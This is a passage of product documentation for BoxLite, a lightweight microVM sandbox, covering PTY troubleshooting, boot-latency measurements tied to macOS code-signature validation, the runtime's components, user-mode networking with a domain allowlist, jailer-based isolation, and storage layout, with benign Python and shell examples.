"xterm-256color"), ("LANG", "C.UTF-8")] # Wrong: passing a dict raises # TypeError: argument 'env': 'dict' object cannot be cast as 'Sequence' # env={"TERM": "xterm-256color"} ``` (Node is the opposite: `InteractiveBoxOptions.env` uses a `Record` object.) ### Startup failure / no virtualization BoxLite requires hardware virtualization: Linux needs KVM (`/dev/kvm` available, user in the `kvm` group); macOS uses Apple's Hypervisor.framework (no KVM needed); WSL2 needs KVM enabled. Without virtualization, the box fails to start — the exception can be caught with `try/except` (Python) / `try/catch` (Node), and the process does not crash. macOS Intel is not supported. ### Image pull failure raises `RuntimeError`, not `BoxliteError` When an image pull fails due to a network hiccup, Python raises the built-in `RuntimeError` (Node a bare `Error`), **not** a `BoxliteError` subclass. Catch it with a broad `except Exception` / `catch (err)` and retry; don't catch only `BoxliteError`. ### Shell does not exist If `shell` points to a path that the image does not have (such as `/bin/bash` on plain alpine), it raises a `RuntimeError` when entering `async with` (the `__aenter__` that launches the PTY shell), with a message such as: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} internal error: spawn_failed: internal error: build failed: failed to create container: exec process failed with error ... ``` The error is raised during startup — wrap the `async with` in `try/except RuntimeError` to catch it. Make sure the target image has that shell (alpine has `/bin/sh` by default, but not `bash`). *** ## Lower-level PTY (C / Go / Rust, no high-level wrapper) From C / Go / Rust, drive the PTY through `exec` directly and forward I/O yourself: * **Rust**: `BoxCommand::new(shell).tty(true)`, then `box.exec(cmd)` to get an `Execution`, and forward from `execution.stdin()/stdout()/stderr()` (all `&mut`); `execution.resize_tty(rows, cols)` resizes the window. The execution method is `exec` (there is no `litebox.run`). * **C**: `BoxliteCommand.tty = 1`, `boxlite_box_exec(handle, &cmd, &execution, &error)` to get the execution; output via the `boxlite_execution_on_stdout` / `on_stderr` callbacks, stdin via `boxlite_execution_stdin_write`, window size via `boxlite_execution_tty_resize`. This is a post-and-drain model — **you must call `boxlite_runtime_drain` in a loop to drive the callbacks**. * **Go**: `box.StartExecution(...)` with `ExecutionOptions{TTY: true, OnStdout: ..., OnStderr: ...}`, writing stdin yourself. On these paths PTY allocation is real; they lack the convenience layer of automatic raw-mode plus bidirectional forwarding. # Boot latency analysis Source: https://docs.boxlite.ai/architecture/boot-latency Where the time goes between start() and a ready container — and why the second start is far faster than the first. The dominant cost of a cold start is not the sandbox policy but the macOS kernel validating code signatures page by page on freshly copied binaries. Once the cache is warm, a start drops to tens of milliseconds. Numbers below come from one Apple Silicon reference machine; the proportions matter, not the absolutes. ## Executive Summary One sample, measured on a single Apple Silicon machine (APFS, `alpine:latest`). Read the proportions, not the absolute numbers — they will differ on your hardware. * `handle.start()` is about **\~2.1s** with the jailer on, and about **\~0.7s** with the jailer off. * This \~1.4s difference is **almost entirely not caused by sandbox-exec (the sandbox policy)** — policy compilation measured \~5–10ms across runs. * The root cause is **the macOS kernel's per-page code-signature validation of freshly copied dylibs**: an unavoidable kernel-level cost when executing a binary from a new inode. * **Code-signature validation accounts for roughly 70% of the total startup time (\~1450ms).** ## Measure it yourself The code below directly measures the per-stage timing of one "cold start" and separately prints the kernel-code-signature-related stages. Note: `metrics()` is on the **native `Box`** and is **async**; the `Boxlite` runtime is entered with a **synchronous** `with` (and `Boxlite.default()` is synchronous), but its methods are async; `Box` is an **async context manager**. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Requires: pip install boxlite (latest published version) # Platform: Linux+KVM or macOS (Apple Hypervisor.framework) import asyncio from boxlite import Boxlite, BoxOptions async def main() -> None: # The Boxlite runtime is a [synchronous] context manager —— do not await it with Boxlite.default() as runtime: # runtime.create(...) is async (returns an awaitable); await it to get the native Box handle box = await runtime.create(BoxOptions(image="alpine:latest")) try: # Box is an async context manager; start() triggers the actual microVM startup await box.start() # box.metrics() is async and returns a BoxMetrics with stage timings m = await box.metrics() print("total_create_duration_ms :", m.total_create_duration_ms) print("guest_boot_duration_ms :", m.guest_boot_duration_ms) print("stage_image_prepare_ms :", m.stage_image_prepare_ms) print("stage_guest_rootfs_ms :", m.stage_guest_rootfs_ms) print("stage_box_spawn_ms :", m.stage_box_spawn_ms) print("stage_container_init_ms :", m.stage_container_init_ms) finally: # Remove the box at the runtime layer (note: runtime.remove(...), not box.remove()) # runtime.remove(...) is also async —— must be awaited (even though Boxlite itself is a synchronous CM) # force=True stops then removes; under default config the box may already be reclaimed, so tolerate not-found on removal try: await runtime.remove(box.id, force=True) except RuntimeError: pass # box already reclaimed (box not found); ignore during cleanup if __name__ == "__main__": try: asyncio.run(main()) except RuntimeError as exc: # Missing virtualization or image pull failure raises a standard RuntimeError (process stays alive, can retry) print(f"boot failed: {exc}") ``` On the first run (cold copy, empty kernel signature cache), `total_create_duration_ms` is large; running it **again** on the same machine drops the stage timings markedly because the kernel's per-page validation cache hits by inode. That is exactly this page's core finding. ## Latency Breakdown | Stage | Time | Share | Root cause | | - | - | - | - | | Pipeline setup | 244ms | 12% | image\_prepare (237ms) + rootfs (7ms) | | spawn → main() | **1000ms** | **48%** | Code signature: shim + libkrun + libgvproxy | | krun FFI | **450ms** | **22%** | Code signature: dlopen(libkrunfw 22MB) | | VM boot + guest | 286ms | 14% | Kernel boot + guest agent + vsock notification | | Container init | 86ms | 4% | gRPC to the guest for OCI initialization | ## Root Cause: macOS Kernel Per-Page Code-Signature Validation ### The mechanism The jailer copies the shim plus dylibs (20.7MB total) into each box's own directory, producing a new inode (a new inode even with APFS reflink / copy-on-write). On macOS, when `dyld` loads an executable image via `mmap()`, the kernel validates its ad-hoc code signature **per page**: 1. `dyld` maps each library's `__TEXT` segment via `mmap(MAP_PRIVATE)`. 2. On the first page fault of each page, the kernel: * Reads the page contents (4KB on x86, 16KB on ARM) * Computes the SHA-256 hash * Compares it against the embedded `CodeDirectory` hash slot 3. The result is **cached by inode** — subsequent executions of the same inode are therefore faster. For 20.7MB of pre-main dylibs, that is about 1,300 per-page validations at \~0.77ms each = \~1000ms. ### Comparison by scenario The following scenarios all use the same shim binary (5.4MB) plus dylibs (libkrun 4.4MB, libgvproxy 10.9MB, 20.7MB total), varying only **copy freshness** and **whether the sandbox is applied**: | Scenario | Startup (ms) | Notes | | - | - | - | | Original binary, no sandbox | 13 | dyld shared cache is already hot | | **Cold copy, no sandbox** | **850** | New inode, full validation | | Warm copy, no sandbox | 10 | Kernel cache already populated | | Warm copy + sandbox | 14 | **Sandbox adds only +4ms** | | Cold copy, `cat` pre-warm | 830 | File I/O cache ≠ mmap cache | | Cold copy, `codesign --verify` | 850 | Userspace validation ≠ kernel cache | | Cold copy, pre-warm by exec-ing once | **34** | Only dyld's mmap can pre-warm the kernel cache | ### Key conclusions 1. **sandbox-exec is not the bottleneck** — policy compilation measured \~5–10ms regardless of complexity (5 rules and 200 rules showed the same latency). 2. **`cat` pre-warm has no effect** — file I/O populates the buffer cache, but dyld's `mmap()` goes through the kernel code-signature pager, a different cache path. 3. **`codesign --verify` has no effect** — it validates in userspace using its own file reads; the kernel maintains a separate validation cache that can only be populated via the mmap pager. 4. **Only actually executing the binary warms the cache** — the kernel's code-signature validation cache is populated only when dyld maps executable pages via `mmap()`. ## Jailer On vs Off | Metric | Jailer ON | Jailer OFF | Delta | | - | - | - | - | | handle.start() | 2067ms | 696ms | +1371ms | | spawn → main gap | 1000ms | 10ms | +990ms | | krun FFI (engine.create) | 450ms | 23ms | +427ms | | sandbox-exec overhead | \~5–10ms | N/A | \~5–10ms | The measured 1371ms delta is dominated by two components, both code-signature validation: the spawn→main gap (990ms) and the krun FFI call (427ms). The sandbox policy itself is negligible by comparison. (The two components were timed in separate runs, so they do not sum exactly to the end-to-end delta.) > The jailer / sandbox is controlled by the security options: `BoxOptions(advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()))`. Import it with `from boxlite import AdvancedBoxOptions`; the `SecurityOptions` presets are `development() / standard() / maximum()` (there is no `.minimum()`). ## Pipeline Stage Metrics (from `box.metrics()`) The field names below are the **readable attributes on the Python `BoxMetrics`** (all with the `_ms` suffix; the `stage_*` fields are mostly `Optional` and are `None` when unavailable): | Field | Jailer ON | Jailer OFF | | - | - | - | | `total_create_duration_ms` | 2039ms | 695ms | | `stage_filesystem_setup_ms` | 0ms | -- | | `stage_image_prepare_ms` | 237ms | -- | | `stage_guest_rootfs_ms` | 7ms | -- | | `stage_box_spawn_ms` | 12ms | 11ms | | `stage_container_init_ms` | 86ms | 63ms | | `guest_boot_duration_ms` | \~1697ms | \~621ms | > `BoxMetrics` also includes runtime fields such as `cpu_percent`, `memory_bytes`, `commands_executed_total`, `exec_errors_total`, and `network_*` (not startup-related). For runtime-level metrics use `runtime.metrics()`, with the fields `num_running_boxes / boxes_created_total / boxes_failed_total / total_commands_executed / total_exec_errors`. ## What you can do about it The kernel's code-signature cache is keyed by inode and is populated only when a binary is actually executed. For callers that means one thing: **Start one box before your batch begins.** The first box pays the validation cost; every box after it on the same machine reuses the warm cache. Approaches that do **not** help, so they are not worth trying: | Attempt | Why it does not help | | - | - | | Pre-reading the binary with `cat` | Fills the buffer cache, but dyld's `mmap()` goes through a different kernel path | | Running `codesign --verify` | Userspace validation; it does not populate the kernel's cache | | Simplifying the sandbox policy | Policy compilation measured \~5–10ms regardless of complexity | | Narrowing the FD-cleanup range | 4092 `close()` calls take only 0.9ms in total | > Methodology: host and shim wall-clock timestamps (`chrono::Utc::now()`) were correlated through the `timing_profile.rs` integration test (jailer ON/OFF), plus standalone benchmarks isolating one variable at a time — sandbox-exec policy compilation, FD cleanup, cold vs warm binary startup, and the pre-warm strategies above. ## Reproduction The repository contains a Rust timing baseline test (`src/boxlite/tests/timing_profile.rs`, targeting `alpine:latest`) that re-runs the data on this page: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Run from the root of the BoxLite source repository # 1) Rebuild the instrumented shim ./scripts/build/build-shim.sh # 2) Run the timing profile test (--nocapture is required to see per-stage eprintln output) cargo test -p boxlite --test timing_profile -- --nocapture # 3) Run only the jailer case to avoid parallel contention skewing the timing cargo test -p boxlite --test timing_profile boot_timing_profile \ -- --exact --nocapture ``` > The repository `CLAUDE.md` recommends preferring `make` targets (which encapsulate the correct build/cross-compilation flags). The `cargo test` commands above are run directly only for a local one-off timing experiment. ## Troubleshooting | Symptom / error | Cause | Resolution | | - | - | - | | `RuntimeError`, `start()` fails immediately | The current environment has no hardware virtualization (no KVM; non-macOS without a hypervisor) | Linux needs KVM with the user in the `kvm` group; WSL2 needs KVM enabled; macOS uses Hypervisor.framework (no `/dev/kvm` required, supports Apple Silicon). This is an environment constraint — the exception can be caught and the process does not exit. | | The first box is slow, later boxes are markedly faster | The kernel code-signature validation cache is populated by inode: cold on the first start, hot on reuse | Expected behavior. When starting many boxes in a batch, warm the first one first, or adopt the "shared bin/ directory" approach above. | | `await box.metrics()` raises `'coroutine' was never awaited` or similar | `Box.metrics()` is **async** and must be awaited | Use `await box.metrics()`; the `Boxlite` runtime is a **synchronous** CM and `Box` is an **async** CM — do not confuse the two await conventions. | | `box.info()` returns a coroutine / Future instead of `BoxInfo` | `info()` is **async** in every SDK | `await box.info()`; it returns `BoxInfo`, and the status is in `box.info().state.status`. | | `AttributeError: ... memory_usage_bytes` / `cpu_time_ms` / `active_boxes` | An old/wrong field name was used | Use the real fields: `BoxMetrics.memory_bytes`, `cpu_percent`, `total_create_duration_ms`, `stage_*_ms`; for the runtime use `RuntimeMetrics.num_running_boxes`. | | Some `stage_*_ms` is `None` | That stage was not timed or that path did not run (for example, some stages are not populated with the jailer off) | The `stage_*` fields are `Optional`; check for None before reading, and do not perform arithmetic directly. | | `ModuleNotFoundError` / import failure (Node: `Cannot find module 'boxlite'`) | Wrong package name | The Python package is `boxlite`; the Node package is `@boxlite-ai/boxlite` (not `boxlite`, not `@boxlite/sdk`). | | Image pull timeout / network hiccup → `RuntimeError` | A failed image pull raises a standard `RuntimeError` (not `BoxliteError`) | Catch with `try/except RuntimeError` and retry; the first image pull also raises `stage_image_prepare_ms` markedly, which is unrelated to boot latency analysis. | ## Related Reading * [Core components](/architecture/core-components) * [Security and isolation](/architecture/security-and-isolation) * [Networking and storage](/architecture/storage) * [Architecture overview](/architecture/index) # Core components Source: https://docs.boxlite.ai/architecture/core-components What each module is responsible for, where its state lives on disk, and which metrics it exposes. A startup failure, a performance problem, or a security setting narrows to a layer first and to a module second. For the end-to-end path of one `exec` call, see [Architecture overview](/architecture/index). ## Component Inventory (real module layout) The table below is the authoritative reference for writing documentation and reading the source. All paths are relative to the repository root, with the uniform prefix `src//`. | Component | Responsibility (functional view) | Source location | | - | - | - | | **BoxliteRuntime** | The entry point for creating/getting/listing/deleting Boxes; holds the image cache and runtime-level metrics | `src/boxlite/src/runtime/` | | **LiteBox** | A single Box handle: execute commands, collect metrics, snapshot/clone/export; does not actually start the VM until first use (lazy initialization) | `src/boxlite/src/litebox/` | | **ShimController** (the virtual machine monitor, VMM) | Isolates VM startup into a subprocess, avoiding libkrun's "process takeover" blocking the host | `src/boxlite/src/vmm/` | | **Jailer** | Defense in depth: adds an OS-level sandbox for the shim process on top of hardware virtualization | `src/boxlite/src/jailer/` | | **Portal** | The gRPC communication facade between host and guest | `src/boxlite/src/portal/` | | **Guest Agent** | Runs inside the Box: receives host commands, initializes the environment, manages OCI containers, executes processes | `src/guest/src/` (crate `boxlite-guest`) | | **Shim process** | The subprocess sandboxed by the jailer, with the VMM embedded | `src/shim/src/` (crate `boxlite-shim`) | | **Image management** | OCI image pull, blob caching, layer extraction and deduplication | `src/boxlite/src/images/` | | **Rootfs** | Assembles the Box root filesystem from OCI image layers (extract + overlay) | `src/boxlite/src/rootfs/` | | **Volumes** | Volume management (virtiofs host-directory mounts, QCOW2 disk images) | `src/boxlite/src/volumes/` | | **Net** | Pluggable network backends (gvproxy by default, libslirp as an alternative) | `src/boxlite/src/net/` | | **Metrics** | Runtime-level and per-Box metrics (lock-free atomic counters) | `src/boxlite/src/metrics/` | | **Shared library** | Types, errors, constants, and the transport protocol shared by host/shim/guest | `src/shared/` (crate `boxlite-shared`) | > All source paths on this page are relative to the repository root and follow `src//`. The workspace also contains the `cli`, `shared`, `shim`, and `guest` crates. *** ## Component Details ### BoxliteRuntime (the runtime entry point) The entry point for creating and managing Boxes. In the SDK it is the object you enter via a `with` statement. * **Python**: `Boxlite` — entered with a **synchronous** `with`, and `Boxlite.default()` is synchronous, but its instance methods are **async and must be awaited**. Source `src/boxlite/src/runtime/core.rs`. * **Node**: `JsBoxlite` (there is no bare `Boxlite`). * **Responsibilities**: Box lifecycle (create/get/get\_or\_create/list\_info/remove/shutdown/import\_box), image handle (`images`), runtime metrics (`metrics()`). * **Key fact**: listing uses `list_info()` (**not** `list()`); deletion uses `remove(id_or_name, force=False)` on the runtime (**not** `box.remove()`). ### LiteBox (a single Box handle) Every box object is backed by a `LiteBox`. Source `src/boxlite/src/litebox/`. * **Lazy initialization**: `runtime.create()` returns a handle immediately and **does not** trigger VM startup; the genuinely expensive operations (image pull → rootfs preparation → VM spawn → guest ready) are deferred to the first API call. So in the Python wrapper layer, entering `async with SimpleBox(...)` is what actually creates and starts the Box. * **Responsibilities**: command execution (`exec`), metrics, snapshot/clone/export, graceful shutdown. * **Key fact**: `box.info()` is **async** (`await` it); the returned `BoxInfo` uses `.state` (of type `BoxStateInfo`), and the status string is in `BoxStateInfo.status`. ### ShimController and the VMM `ShimController` (`src/boxlite/src/vmm/controller/shim.rs`) places VM startup in a separate subprocess. The reason: libkrun's `krun_start_enter` uses a **process-takeover** model — once called, it never returns. If it were called directly in the host process, the application process would be permanently taken over. By wrapping it in a subprocess, the host process keeps running, and the jailer is given a sandboxable target. The VMM abstraction (`src/boxlite/src/vmm/`) is pluggable: the current production implementation is **libkrun** (`src/boxlite/src/vmm/krun/`), which handles hardware virtualization, virtio-fs file sharing, virtio-blk disks, and vsock communication. > The VMM layer sits behind a trait, so backends are pluggable. Two are declared today: `Libkrun` (production default) and `Firecracker`. Adding one is a runtime-internal change — see `src/boxlite/src/vmm/`. The configuration flow that a `Vmm` implementation drives when starting a VM is: create the libkrun context → set Box resources (CPUs, memory) → configure the network (TSI or gvproxy) → mount virtiofs shares → attach disk images → configure vsock ports → set the guest entrypoint → return the VM instance. ### Jailer (security isolation) Modeled after Firecracker's jailer, it adds a layer of OS-level isolation **on top of** hardware virtualization, sandboxing the shim process. Source `src/boxlite/src/jailer/`; the threat model is in `src/boxlite/src/jailer/THREAT_MODEL.md`. | Platform | Isolation mechanisms | | - | - | | **Linux** | Namespace isolation (mount/PID/network), chroot/pivot\_root, seccomp BPF syscall filtering, privilege drop to an unprivileged user, cgroups v2 resource limits | | **macOS** | sandbox-exec (Seatbelt) kernel-level sandbox, rlimits resource constraints | For untrusted code, set security explicitly: an explicitly constructed `SecurityOptions()` has every switch off, so pass `SecurityOptions.standard()` or `.maximum()` through `advanced` (see the Quick Example below). ### Portal (host-guest communication) The gRPC-based communication layer, bridged over libkrun's vsock. Source `src/boxlite/src/portal/`. ### Guest Agent Runs inside the Box and receives host commands over gRPC. Source `src/guest/src/` (crate `boxlite-guest`). | Service | Responsibility | | - | - | | **Guest** | Environment initialization (mounts, rootfs, network) | | **Container** | OCI container lifecycle (based on libcontainer) | | **Execution** | Command execution with streaming I/O | ### Image / Rootfs / Volumes / Net * **Image** (`src/boxlite/src/images/`): OCI image pull, blob cache by digest, layer extraction and cross-image deduplication, copy-on-write. * **Rootfs** (`src/boxlite/src/rootfs/`): extracts from image layers and assembles the Box root filesystem via overlay. * **Volumes** (`src/boxlite/src/volumes/`): virtiofs host-directory mounts, QCOW2 copy-on-write disks. * **Net** (`src/boxlite/src/net/`): defaults to **gvproxy** (a user-mode network stack with full outbound access plus port forwarding plus DHCP/DNS), with **libslirp** as an alternative. *** ## The CLI as a Worked Example of This Layout > The `boxlite` CLI is a thin client over the same `BoxliteRuntime` the SDKs use — anything the CLI can do, your code can do, with identical semantics. *** ## Metrics System (real field names) Metrics come at two levels, both lock-free atomic counters. **Field names are not identical across languages, so use the real names from the tables below when writing code.** `RuntimeMetrics` (runtime level, `runtime.metrics()`): | Field (Python/C/Go) | Meaning | | - | - | | `num_running_boxes` | Number of currently running boxes (**not** `active_boxes`) | | `boxes_created_total` | Cumulative number of boxes created | | `boxes_failed_total` | Cumulative number of failed boxes | | `total_commands_executed` | Cumulative number of commands executed | | `total_exec_errors` | Cumulative number of execution errors | `BoxMetrics` (per-box level, `box.metrics()`): | Field (Python/C/Go) | Meaning | | - | - | | `memory_bytes` | Memory usage in bytes (**not** `memory_usage_bytes`) | | `cpu_percent` | CPU usage percentage (**not** `cpu_time_ms`) | | `commands_executed_total` / `exec_errors_total` | Cumulative command/error counts (note the `_total` suffix) | | `network_bytes_sent` / `network_bytes_received` | Network bytes sent/received (cumulative versions `bytes_sent_total` / `bytes_received_total` also exist) | > The Node SDK camelCases these names. `BoxMetrics` keeps the trailing `Total` (`commandsExecutedTotal`), while `RuntimeMetrics` keeps the leading `total` (`totalCommandsExecuted`) — napi camelCases the existing name rather than moving the word. When developing across languages, do not assume the field names match. *** ## Directory Layout (runtime on-disk state) A Box's runtime data is stored under the home directory (default `~/.boxlite`, overridable via `BOXLITE_HOME`). The tree below follows the `dirs` constants in the source `src/boxlite/src/runtime/layout.rs`: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} ~/.boxlite/ # home directory (BOXLITE_HOME) ├── db/ # SQLite database (DB_DIR) ├── images/ # OCI image cache (IMAGES_DIR) │ ├── layers/ # downloaded layer tarballs │ ├── extracted/ # extracted layer directories │ ├── disk-images/ # ext4 disk image cache for copy-on-write │ ├── manifests/ # image manifests │ ├── configs/ # image configs │ └── local/ # local OCI image layout cache ├── boxes/ # per-Box runtime directories (BOXES_DIR) │ └── {box_id}/ ├── bases/ # flat backing files (snapshot/clone base images, guest rootfs cache) ├── locks/ # per-entity lock files (LOCKS_DIR) ├── logs/ # runtime logs (LOGS_DIR) ├── tmp/ # temporary files (same filesystem as bases/ and images/disk-images/ to support atomic rename) └── .lock # home directory instance lock (prevents multiple instances sharing the same BOXLITE_HOME) ``` *** # Architecture Source: https://docs.boxlite.ai/architecture/index What BoxLite actually is under the API: the components, the path one exec takes, and how isolation, networking, storage, and boot latency work. BoxLite starts a real lightweight VM per box. Understanding the layers helps when you are choosing security settings, diagnosing a slow start, or explaining the isolation story to a security reviewer. The chain, end to end: ``` Your code → SDK → Rust core → Shim → Jailer → MicroVM → Guest Agent ``` ## In this section What each module owns, where its state lives, and which metrics it emits. **Start here.** How isolation is layered against a guest assumed hostile from boot. The user-mode stack, the fixed subnet, and DNS handling. The digest-keyed image cache and the copy-on-write rootfs. Where the time goes, and why the second start is faster. ## Which page do I want? | You are asking | Page | | - | - | | What are the moving parts? | [core components](/architecture/core-components) | | How strong is the isolation, really? | [security and isolation](/architecture/security-and-isolation) | | Why is my first box slow? | [boot latency](/architecture/boot-latency) | | How does a box reach the internet? | [networking](/architecture/networking) | | Where do the bytes live on my disk? | [storage](/architecture/storage) | # Networking Source: https://docs.boxlite.ai/architecture/networking How a box reaches the network: the user-mode stack, the fixed subnet, DNS handling, and how a host port reaches a service inside the box. > For the SDK-facing parameters (`NetworkSpec`, `ports`) see [Network access](/manage-sandbox/network-access). BoxLite uses **user-mode networking**: the box's `eth0` connects over vsock to a user-mode proxy on the host side, which handles NAT, DHCP, and DNS. No root required, no TUN/TAP device, and no impact on the host network. ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph box["Box (guest)"] eth["eth0
192.168.127.2"] end subgraph host["Host (user-mode proxy)"] proxy["gvproxy
NAT · DHCP · DNS sinkhole · port forwarding"] end ext["External network"] eth <-- "vsock" --> proxy proxy <-- "allowlist applies here" --> ext ``` **Backend implementations** (source `src/boxlite/src/net/`): | Backend | Notes | When to use | | - | - | - | | gvproxy (default) | A user-mode network based on the gVisor network stack, providing NAT / DHCP / DNS / port forwarding / traffic metering | The default backend, for nearly all scenarios | | libslirp (alternative) | QEMU's user-mode network stack | Environments where gvproxy is unavailable | **Fixed virtual subnet layout** (source `src/boxlite/src/net/constants.rs`): | Name | Value | Role | | - | - | - | | Subnet | `192.168.127.0/24` | The box's virtual network segment | | Gateway IP | `192.168.127.1` | The gvproxy listen address, also the guest DNS | | Guest IP | `192.168.127.2` | The address `eth0` inside the box receives (via DHCP) | | Host loopback alias | `192.168.127.254` | Traffic to this IP is NAT'd to the host `127.0.0.1` | | Host hostname | `host.boxlite.internal` | A built-in DNS name used inside the box to reach host loopback services | **Network configuration is delivered to the guest via DHCP**: IP, default gateway, and DNS server (defaulting to the host resolver). ### Controlling the Network from the SDK The network is controlled by `NetworkSpec`. `mode` takes two values, `"enabled"` and `"disabled"`; an allowlist is `mode="enabled"` plus a non-empty `allow_net`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import boxlite # 1) Default: mode="enabled", allow_net=[] —— allow all outbound net_full = boxlite.NetworkSpec(mode="enabled") # 2) Allowlist: only listed domains are allowed; other DNS is sinkholed to 0.0.0.0 net_allow = boxlite.NetworkSpec(mode="enabled", allow_net=["example.com", "pypi.org"]) # 3) Fully offline: no network interface inside the box net_off = boxlite.NetworkSpec(mode="disabled") ``` **Port forwarding** uses the `ports` parameter (host -> guest); the simplest form is a `(host_port, guest_port)` tuple: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: async with boxlite.SimpleBox( image="python:alpine", ports=[(8080, 8080)], # host 8080 -> guest 8080 ) as box: # The service must bind 0.0.0.0, otherwise host-forwarded traffic cannot reach it await box.exec( "sh", "-c", "nohup python -m http.server 8080 --bind 0.0.0.0 >/dev/null 2>&1 &", ) await asyncio.sleep(1) print("box up:", box.id) except RuntimeError as e: print("failed:", e) if __name__ == "__main__": asyncio.run(main()) ``` *** ## Troubleshooting | Symptom / error | Cause | Resolution | | - | - | - | | Connecting to the forwarded port from the host times out / fails | The service inside the guest bound `127.0.0.1` | The service must bind `0.0.0.0`. The network stack forwards host traffic to the guest NIC `192.168.127.2`, not the guest loopback. | | A non-allowlisted domain resolves to `0.0.0.0` | This is expected behavior: `allow_net` sinkholes non-allowlisted domains to `0.0.0.0` | To allow everything, use `NetworkSpec(mode="enabled")` (without `allow_net`). | | In `disabled` mode, `nslookup`/networking all fail | There is no network interface inside the box | Use `mode="enabled"` when you need networking; use `disabled` for pure-compute tasks. | | `RuntimeError` (during image pull) | Network hiccup / wrong image name / unreachable registry | Catch with `try/except RuntimeError` and retry; confirm the image reference is correct and outbound is reachable. A failed pull raises a standard `RuntimeError`, not `BoxliteError`. | | The box fails to start but the host process survives | No hardware virtualization (Linux missing KVM / WSL2 KVM not enabled) | On Linux confirm `/dev/kvm` exists and the user is in the `kvm` group; macOS (Apple Silicon) uses Hypervisor.framework, no KVM required. | | A mounted file's uid/gid inside the guest does not match expectations | virtiofs performs id mapping; the host and guest users are not necessarily the same | Inside the box use `stat -c '%u %g' ` and `id` to check; specify a particular user via `BoxOptions(user=...)` when needed. | *** ## Related pages * [Network access](/manage-sandbox/network-access) — the parameters and how to use them * [Storage](/architecture/storage) — image cache, rootfs, and volumes * [Security and isolation](/architecture/security-and-isolation) — where the network boundary sits # Security and isolation Source: https://docs.boxlite.ai/architecture/security-and-isolation How BoxLite's isolation is layered against a guest assumed malicious from the moment it starts, and which layer each SecurityOptions field controls. > Import note: both `SecurityOptions` and `AdvancedBoxOptions` are exported at the top level: `from boxlite import AdvancedBoxOptions, SecurityOptions`. Two independent lines of defense separate guest from host: a **hardware-level microVM** and a **process-level jailer**. **Defaults differ by layer**: the Rust runtime applies a full jailer when you pass no `SecurityOptions` at all, but constructing `SecurityOptions()` in Python with no fields turns every switch **off**. For untrusted code, always pass `SecurityOptions.standard()` or `.maximum()` rather than relying on any default. ## The Isolation Model: two independent lines of defense BoxLite uses **defense in depth**: even if one layer is breached, the others still hold. BoxLite isolation boundaries: a trusted host process spawns a jailed shim process, which runs the microVM containing the guest agent and untrusted code ### Line of defense one: hardware virtualization (the microVM) Each box is a separate lightweight virtual machine, with the guest kernel physically isolated from the host kernel. | Boundary | Enforced by | Isolation provided | | - | - | - | | Guest → Shim | KVM (Linux) / Hypervisor.framework (macOS) | Memory isolation, CPU in non-root mode, paravirtualized devices only, privileged instructions trap into the hypervisor | > Limitation: a vulnerability in the hypervisor itself could in theory let the guest escape — which is exactly why a second line of defense is needed. ### Line of defense two: the process-level jailer (constraining the shim process) Even if the guest escapes the VM, it lands in a jailer-constrained shim process, not on the bare host. The jailer enables different mechanisms per platform: | Mechanism | Linux | macOS | | - | - | - | | Syntax filtering | seccomp (BPF syscall allowlist) | sandbox-exec (Seatbelt, SBPL default-deny) | | Filesystem isolation | chroot / pivot\_root + mount namespace | sandbox path allowlist | | Process/network isolation | new PID ns, (optional) new net ns | sandbox network rules | | Privilege drop | drop to an unprivileged uid/gid (default nobody/nogroup 65534) | unsupported (still runs as the current user) | | Resource limits | cgroups v2 + rlimits | rlimits only | | Environment scrubbing | clear environment variables (keep only an allowlist), close inherited FDs | same | > macOS isolation is weaker than Linux: no privilege drop, no cgroups, no network namespace. For running untrusted code in production, prefer Linux. To debug macOS sandbox errors, see [macos-sandbox-debugging](/development/macos-sandbox-debugging). ## What each switch turns off `SecurityOptions` fields map onto the two lines of defense above. For the types, defaults, presets, and how to attach them to a box, see [Inject secrets and harden a box](/manage-sandbox/secrets-and-security#parameters-and-returns). | Field | Layer it acts on | | - | - | | `jailer_enabled` | The jailer master switch — line of defense two, Linux and macOS | | `seccomp_enabled` | seccomp syscall filtering (**Linux only**; ignored on macOS) | | `max_open_files` | RLIMIT\_NOFILE on the shim process | | `max_file_size` | RLIMIT\_FSIZE (bytes) | | `max_processes` | RLIMIT\_NPROC | | `max_memory` | RLIMIT\_AS (bytes); `None` defers to the VM configuration | | `max_cpu_time` | RLIMIT\_CPU (seconds) | | `network_enabled` | **Jailer-level** TCP policy for the host-side sandbox (macOS seatbelt + Linux landlock). `False` denies all TCP, which gvproxy's VM networking needs left on. This is **not** the guest-networking switch — that is `NetworkSpec.mode` | | `close_fds` | Closes inherited FDs other than stdin/stdout/stderr before startup | Errors you hit while configuring these — the `AdvancedBoxOptions` import, the top-level `security=` keyword, the absent `minimum()` preset — are answered on [Inject secrets and harden a box](/manage-sandbox/secrets-and-security#troubleshooting). ## Related Pages * [Secrets and security configuration](/manage-sandbox/secrets-and-security) — `Secret`/Vault entry point and security-option usage * [Volume mounts](/manage-sandbox/volumes) — read-only/read-write volumes and the `read_only` bool * [Network access](/manage-sandbox/network-access) — `NetworkSpec`, the guest-networking control (distinct from the jailer's `network_enabled` above) * [Architecture overview](/architecture/index) — microVM / shim / runtime layering * [Debug macOS Seatbelt denials](/development/macos-sandbox-debugging) # Storage Source: https://docs.boxlite.ai/architecture/storage Where a box's bytes live: the digest-keyed image cache, the copy-on-write rootfs, and the two kinds of mount. Three layers, in the order a box uses them: **image cache** → **rootfs assembly** → **volume mounts**. For the SDK-facing `volumes` parameter, see [Volumes and mounts](/manage-sandbox/volumes). ### Image cache (OCI, deduplicated by digest) A box uses standard OCI container images. Image layers (blobs) are stored by content digest in a local cache; multiple boxes and multiple images share the same layer and never re-download it. Source `src/boxlite/src/images/`; the default cache directory is `~/.boxlite/images/` (blobs stored by digest). ### Rootfs assembly (overlay + copy-on-write) Before the box starts, the rootfs builder overlays the OCI image layers into a container filesystem, injects the DNS configuration, and creates a copy-on-write (CoW) snapshot. Each box thereby gets an independent writable view while sharing the read-only base layers. Source `src/boxlite/src/rootfs/`. ### Volumes and persistent disks (virtiofs / QCOW2) | Type | Implementation | Purpose | | - | - | - | | virtiofs | Shares a host directory directly into the box | Sharing files between host and box (the `volumes` you pass in) | | QCOW2 disk | A copy-on-write disk image 